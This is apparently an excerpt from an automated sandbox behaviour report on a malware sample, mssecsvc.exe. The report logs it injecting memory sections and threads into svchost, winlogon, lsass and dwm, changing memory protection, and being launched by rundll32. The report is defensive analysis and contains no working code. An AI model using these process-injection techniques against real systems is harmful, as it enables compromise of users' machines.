          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: unknown protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\vlxtVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
          Changes memory attributes in foreign processes to executable or writable
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D599D0 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A120 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59670 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59A50 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D59830 protect: page execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 77D5A040 protect: page execute and read and writeJump to behavior
          Creates a thread in another existing process (thread injection)
          Source: C:\Windows\mssecsvc.exeThread created: unknown EIP: 7FFF3C38Jump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\tct5NKwZY8.dll",#1Jump to behavior
          Source: dwm.exe, 00000014.00000000.538786441.000002B2D0AF6000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 00000014.00000002.997586721.000002B2D0AF6000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
          Source: winlogon.exe, 00000008.00000000.464218747.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.977918922.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000000.467989827.00000284A21A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: winlogon.exe, 00000008.00000000.464218747.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.977918922.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000000.467989827.00000284A21A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: winlogon.exe, 00000008.00000000.464218747.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.977918922.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000000.467989827.00000284A21A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: YProgram Managerf
          Source: winlogon.exe, 00000008.00000000.464218747.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000002.977918922.00000284A21A0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000008.00000000.467989827.00000284A21A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\d4e9a0e6da7746b3aa75cdda4a2e1345_1 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\630698eddbed49dfb19e8adad33ba72a_1 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388\1f34c2388cae4d95b48e19a4e3321966_1 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\1658329503 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\7d58be8526844e4da2a98a822806ec66_1 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\37de9f179a55473a91308a911cabe315_1 VolumeInformationJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\9b989e2a2e624c2a8ba82b48d349ae75_1 VolumeInformationJump to behavior
